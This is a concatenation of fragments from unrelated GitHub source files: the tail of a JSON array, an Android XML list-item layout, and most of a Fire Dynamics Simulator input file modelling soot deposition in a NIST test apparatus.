"range": [
11,
12
]
}
]
};
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content">
<LinearLayout
android:id="@+id/llWrapper"
android:orientation="horizontal"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:clickable="true"
android:background="@drawable/bg_default_item">
<ImageView
android:id="@+id/ivAvatar"
android:layout_width="@dimen/user_profile_size"
android:layout_height="@dimen/user_profile_size"
android:layout_marginLeft="16dp"
android:layout_marginRight="16dp"
android:layout_marginTop="8dp"
android:layout_marginBottom="8dp"
android:src="@drawable/default_user_profile"/>
<LinearLayout
android:orientation="vertical"
android:layout_width="0dp"
android:layout_weight="1"
android:gravity="center_vertical"
android:layout_height="match_parent">
<TextView
android:id="@+id/tvTitle"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/default_text_color"
android:textSize="14sp"/>
</LinearLayout>
</LinearLayout>
<View
android:layout_marginLeft="80dp"
android:layout_width="match_parent"
android:layout_height="1dp"
android:background="#d9d9d9"/>
</LinearLayout>
|
{
"pile_set_name": "Github"
}
|
&HEAD CHID='NIST_SDG-2p5-100-p39b', TITLE='Mencsh - Cleary Deposition Apparatus, 2.5 SLM, 100 C dT, Test 2'/
&TIME T_END=30.0/
&DUMP NFRAMES=30/
&MESH ID='Inlet', IJK=38,5,10, XB=-0.117,-0.079,-5.0E-3,0.0,-5.0E-3,5.0E-3 /
&MESH ID='Inlet Plenum', IJK=79,40,26, XB=-0.079,0.0,-0.04,0.0,-0.013,0.013 /
&MESH ID='Test Section1', IJK=203,40,10, XB=0.0,0.203,-0.04,0.0,-5.0E-3,5.0E-3 /
&MESH ID='Test Section2', IJK=203,40,10, XB=0.203,0.406,-0.04,0.0,-5.0E-3,5.0E-3 /
&MESH ID='Outlet Plenum', IJK=79,40,26, XB=0.406,0.485,-0.04,0.0,-0.013,0.013 /
&MESH ID='Outlet', IJK=38,5,10, XB=0.485,0.523,-5.0E-3,0.0,-5.0E-3,5.0E-3 /
&MISC TMPA=43.7,GVEC=9.80665,0,0,DNS=.TRUE./
&RADI RADIATION=.FALSE./
&SPEC ID='LJ AIR',BACKGROUND=.TRUE./
&SPEC ID='SOOT',MEAN_DIAMETER=0.39E-6,AEROSOL=.TRUE.,MASS_FRACTION_0=6.23663154967966E-05/
&SURF ID='ADIABATIC',
COLOR='GRAY 80',
DEFAULT=.TRUE.,
ADIABATIC=.TRUE./
&SURF ID='Sensor',
RGB=204,255,255,
TMP_FRONT=18.2/
&SURF ID='Hot',
RGB=255,102,102,
TMP_FRONT=111.3/
&SURF ID='Cold',
RGB=102,102,255,
TMP_FRONT=18.2/
&SURF ID='Inlet',COLOR='YELLOW',VEL=-0.448909156208837/
&OBST ID='Rod1', XB=-0.054,-0.048,-0.04,0.04,-2.0E-3,2.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Rod2', XB=-0.053,-0.049,-0.04,0.04,2.0E-3,3.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Rod3', XB=-0.053,-0.049,-0.04,0.04,-3.0E-3,-2.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.036,-0.031,-0.04,0.04,0.012,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.031,-0.026,-0.04,0.04,0.011,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.026,-0.021,-0.04,0.04,0.01,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.021,-0.017,-0.04,0.04,9.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.017,-0.012,-0.04,0.04,8.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.012,-7.0E-3,-0.04,0.04,7.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-7.0E-3,-2.0E-3,-0.04,0.04,6.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-2.0E-3,0.0001,-0.04,0.04,5.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top I', XB=-0.038,-0.036,-0.04,0.04,0.013,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.036,-0.031,-0.04,0.04,-0.013,-0.012, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.031,-0.026,-0.04,0.04,-0.013,-0.011, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.026,-0.021,-0.04,0.04,-0.013,-1.0E-2, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.021,-0.017,-0.04,0.04,-0.013,-9.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.017,-0.012,-0.04,0.04,-0.013,-8.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.012,-7.0E-3,-0.04,0.04,-0.013,-7.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-7.0E-3,-2.0E-3,-0.04,0.04,-0.013,-6.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-2.0E-3,0.0001,-0.04,0.04,-0.013,-5.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom I', XB=-0.038,-0.036,-0.04,0.04,-0.013,-0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.40599,0.408,-0.04,0.04,5.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.408,0.413,-0.04,0.04,6.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.413,0.418,-0.04,0.04,7.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.418,0.423,-0.04,0.04,8.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.423,0.427,-0.04,0.04,9.0E-3,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.427,0.432,-0.04,0.04,0.01,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.432,0.437,-0.04,0.04,0.011,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.437,0.442,-0.04,0.04,0.012,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Top O', XB=0.442,0.444,-0.04,0.04,0.013,0.013, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.40599,0.408,-0.04,0.04,-0.013,-5.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.408,0.413,-0.04,0.04,-0.013,-6.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.413,0.418,-0.04,0.04,-0.013,-7.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.418,0.423,-0.04,0.04,-0.013,-8.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.423,0.427,-0.04,0.04,-0.013,-9.0E-3, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.427,0.432,-0.04,0.04,-0.013,-1.0E-2, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.432,0.437,-0.04,0.04,-0.013,-0.011, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.437,0.442,-0.04,0.04,-0.013,-0.012, SURF_ID='ADIABATIC'/
&OBST ID='Plenum Bottom O', XB=0.442,0.444,-0.04,0.04,-0.013,-0.013, SURF_ID='ADIABATIC'/
&VENT XB=0.024,0.068,-0.011,0.000,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.025,0.067,-0.012,-0.011,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.026,0.066,-0.014,-0.012,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.027,0.065,-0.015,-0.014,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.028,0.064,-0.016,-0.015,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.029,0.063,-0.017,-0.016,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.030,0.062,-0.018,-0.017,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.031,0.061,-0.019,-0.018,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.032,0.060,-0.020,-0.019,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.034,0.058,-0.021,-0.020,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.035,0.057,-0.022,-0.021,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.126,0.170,-0.011,0.000,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.127,0.169,-0.012,-0.011,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.128,0.168,-0.014,-0.012,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.129,0.167,-0.015,-0.014,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.130,0.166,-0.016,-0.015,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.131,0.165,-0.017,-0.016,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.132,0.164,-0.018,-0.017,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.133,0.163,-0.019,-0.018,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.134,0.162,-0.020,-0.019,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.136,0.160,-0.021,-0.020,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.137,0.159,-0.022,-0.021,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.227,0.271,-0.011,0.000,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.228,0.270,-0.012,-0.011,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.229,0.269,-0.014,-0.012,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.230,0.268,-0.015,-0.014,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.231,0.267,-0.016,-0.015,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.232,0.266,-0.017,-0.016,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.233,0.265,-0.018,-0.017,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.234,0.264,-0.019,-0.018,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.235,0.263,-0.020,-0.019,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.237,0.261,-0.021,-0.020,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.238,0.260,-0.022,-0.021,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.329,0.373,-0.011,0.000,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.330,0.372,-0.012,-0.011,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.331,0.371,-0.014,-0.012,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.332,0.370,-0.015,-0.014,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.333,0.369,-0.016,-0.015,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.334,0.368,-0.017,-0.016,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.335,0.367,-0.018,-0.017,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.336,0.366,-0.019,-0.018,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.337,0.365,-0.020,-0.019,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.339,0.363,-0.021,-0.020,-0.005,-0.005, SURF_ID='Sensor'/
&VENT XB=0.340,0.362,-0.022,-0.021,-0.005,-0.005, SURF_ID='Sensor'/
&VENT SURF_ID='Cold', XB=0.0,0.406,-0.04,-0.022,-5.0E-3,-5.0E-3/
&VENT XB=0.000,0.024,-0.011,0.000,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.025,-0.012,-0.011,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.026,-0.014,-0.012,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.027,-0.015,-0.014,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.028,-0.016,-0.015,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.029,-0.017,-0.016,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.030,-0.018,-0.017,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.031,-0.019,-0.018,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.032,-0.020,-0.019,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.034,-0.021,-0.020,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.000,0.035,-0.022,-0.021,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.068,0.126,-0.011,0.000,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.067,0.127,-0.012,-0.011,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.066,0.128,-0.014,-0.012,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.065,0.129,-0.015,-0.014,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.064,0.130,-0.016,-0.015,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.063,0.131,-0.017,-0.016,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.062,0.132,-0.018,-0.017,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.061,0.133,-0.019,-0.018,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.060,0.134,-0.020,-0.019,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.058,0.136,-0.021,-0.020,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.057,0.137,-0.022,-0.021,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.170,0.227,-0.011,0.000,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.169,0.228,-0.012,-0.011,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.168,0.229,-0.014,-0.012,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.167,0.230,-0.015,-0.014,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.166,0.231,-0.016,-0.015,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.165,0.232,-0.017,-0.016,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.164,0.233,-0.018,-0.017,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.163,0.234,-0.019,-0.018,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.162,0.235,-0.020,-0.019,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.160,0.237,-0.021,-0.020,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.159,0.238,-0.022,-0.021,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.271,0.329,-0.011,0.000,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.270,0.330,-0.012,-0.011,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.269,0.331,-0.014,-0.012,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.268,0.332,-0.015,-0.014,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.267,0.333,-0.016,-0.015,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.266,0.334,-0.017,-0.016,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.265,0.335,-0.018,-0.017,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.264,0.336,-0.019,-0.018,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.263,0.337,-0.020,-0.019,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.261,0.339,-0.021,-0.020,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.260,0.340,-0.022,-0.021,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.373,0.406,-0.011,0.000,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.372,0.406,-0.012,-0.011,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.371,0.406,-0.014,-0.012,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.370,0.406,-0.015,-0.014,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.369,0.406,-0.016,-0.015,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.368,0.406,-0.017,-0.016,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.367,0.406,-0.018,-0.017,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.366,0.406,-0.019,-0.018,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.365,0.406,-0.020,-0.019,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.363,0.406,-0.021,-0.020,-0.005,-0.005, SURF_ID='Cold'/
&VENT XB=0.362,0.406,-0.022,-0.021,-0.005,-0.005, SURF_ID='Cold'/
&VENT ID='Heater', SURF_ID='Hot', XB=0.0,0.406,-0.04,0.04,5.0E-3,5.0E-3/
&VENT ID='Inlet', SURF_ID='Inlet', XB=-0.117,-0.117,-0.005,0.005,-0.005,0.005/
&VENT ID='Outlet', SURF_ID='OPEN', XB=0.523,0.523,-0.005,0.005,-0.005,0.005/
&VENT PBY=0.0,SURF_ID='MIRROR'/
&DEVC XYZ=0,0,0,ID='Time1',QUANTITY='TIME',SETPOINT=15./
&DEVC XYZ=0,0,0,ID='Time2',QUANTITY='TIME',NO_UPDATE_DEVC_ID='Time1'/
&DEVC ID='Sensor 1 Total',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 1 Total',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 2 Total',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 2 Total',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 3 Total',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 3 Total',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 4 Total',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 4 Total',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='V Sensor 1',QUANTITY='CONTROL VALUE',CTRL_ID='VSensor 1 Avg',UNITS='mm/s',CONVERSION_FACTOR=1000./
&DEVC ID='V Sensor 2',QUANTITY='CONTROL VALUE',CTRL_ID='VSensor 2 Avg',UNITS='mm/s',CONVERSION_FACTOR=1000./
&DEVC ID='V Sensor 3',QUANTITY='CONTROL VALUE',CTRL_ID='VSensor 3 Avg',UNITS='mm/s',CONVERSION_FACTOR=1000./
&DEVC ID='V Sensor 4',QUANTITY='CONTROL VALUE',CTRL_ID='VSensor 4 Avg',UNITS='mm/s',CONVERSION_FACTOR=1000./
&DEVC ID='Sensor 1',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 1 C',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 2',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 2 C',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 3',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 3 C',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 4',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 4 C',UNITS='mg',CONVERSION_FACTOR=1.E6/
&DEVC ID='Sensor 1 CS',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 1 C',UNITS='kg',OUTPUT=.FALSE.,NO_UPDATE_DEVC_ID='Time1'/
&DEVC ID='Sensor 2 CS',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 2 C',UNITS='kg',OUTPUT=.FALSE.,NO_UPDATE_DEVC_ID='Time1'/
&DEVC ID='Sensor 3 CS',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 3 C',UNITS='kg',OUTPUT=.FALSE.,NO_UPDATE_DEVC_ID='Time1'/
&DEVC ID='Sensor 4 CS',QUANTITY='CONTROL VALUE',CTRL_ID='Sensor 4 C',UNITS='kg',OUTPUT=.FALSE.,NO_UPDATE_DEVC_ID='Time1'/
&DEVC XB=-0.117,-0.117,-0.005,0.000,-0.005,0.005,QUANTITY='MASS FLOW WALL',SPEC_ID='SOOT',ID='Inlet MF',IOR=1/
&DEVC XB=0.0005,0.0005,-0.04,0.00,-0.005,0.005,QUANTITY='MASS FLOW',SPEC_ID='SOOT',ID='Test Inlet MF'/
&DEVC XB=0.2035,0.2035,-0.04,0.00,-0.005,0.005,QUANTITY='MASS FLOW',SPEC_ID='SOOT',ID='Test Mid MF'/
&DEVC XB=0.4055,0.4055,-0.04,0.00,-0.005,0.005,QUANTITY='MASS FLOW',SPEC_ID='SOOT',ID='Test Outlet MF'/
&DEVC XB=0.523,0.523,-0.005,0.000,-0.005,0.005,QUANTITY='MASS FLOW WALL',SPEC_ID='SOOT',ID='Outlet MF',IOR=-1/
&DEVC XB=0.024,0.068,-0.011,0.000,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-1'/
&DEVC XB=0.025,0.067,-0.012,-0.011,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-2'/
&DEVC XB=0.026,0.066,-0.014,-0.012,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-3'/
&DEVC XB=0.027,0.065,-0.015,-0.014,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-4'/
&DEVC XB=0.028,0.064,-0.016,-0.015,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-5'/
&DEVC XB=0.029,0.063,-0.017,-0.016,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-6'/
&DEVC XB=0.030,0.062,-0.018,-0.017,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-7'/
&DEVC XB=0.031,0.061,-0.019,-0.018,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-8'/
&DEVC XB=0.032,0.060,-0.020,-0.019,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-9'/
&DEVC XB=0.034,0.058,-0.021,-0.020,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-10'/
&DEVC XB=0.035,0.057,-0.022,-0.021,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-1-11'/
&DEVC XB=0.126,0.170,-0.011,0.000,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-1'/
&DEVC XB=0.127,0.169,-0.012,-0.011,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-2'/
&DEVC XB=0.128,0.168,-0.014,-0.012,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-3'/
&DEVC XB=0.129,0.167,-0.015,-0.014,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-4'/
&DEVC XB=0.130,0.166,-0.016,-0.015,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-5'/
&DEVC XB=0.131,0.165,-0.017,-0.016,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-6'/
&DEVC XB=0.132,0.164,-0.018,-0.017,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-7'/
&DEVC XB=0.133,0.163,-0.019,-0.018,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-8'/
&DEVC XB=0.134,0.162,-0.020,-0.019,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-9'/
&DEVC XB=0.136,0.160,-0.021,-0.020,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-10'/
&DEVC XB=0.137,0.159,-0.022,-0.021,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-2-11'/
&DEVC XB=0.227,0.271,-0.011,0.000,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-1'/
&DEVC XB=0.228,0.270,-0.012,-0.011,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-2'/
&DEVC XB=0.229,0.269,-0.014,-0.012,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-3'/
&DEVC XB=0.230,0.268,-0.015,-0.014,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-4'/
&DEVC XB=0.231,0.267,-0.016,-0.015,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-5'/
&DEVC XB=0.232,0.266,-0.017,-0.016,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-6'/
&DEVC XB=0.233,0.265,-0.018,-0.017,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-7'/
&DEVC XB=0.234,0.264,-0.019,-0.018,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-8'/
&DEVC XB=0.235,0.263,-0.020,-0.019,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-9'/
&DEVC XB=0.237,0.261,-0.021,-0.020,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-10'/
&DEVC XB=0.238,0.260,-0.022,-0.021,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-3-11'/
&DEVC XB=0.329,0.373,-0.011,0.000,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-1'/
&DEVC XB=0.330,0.372,-0.012,-0.011,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-2'/
&DEVC XB=0.331,0.371,-0.014,-0.012,-0.005,-0.005, QUANTITY='SURFACE DEPOSITION', SPEC_ID='SOOT', STATISTICS='SURFACE INTEGRAL', OUTPUT=.FALSE., ID='DEP-4-3'/
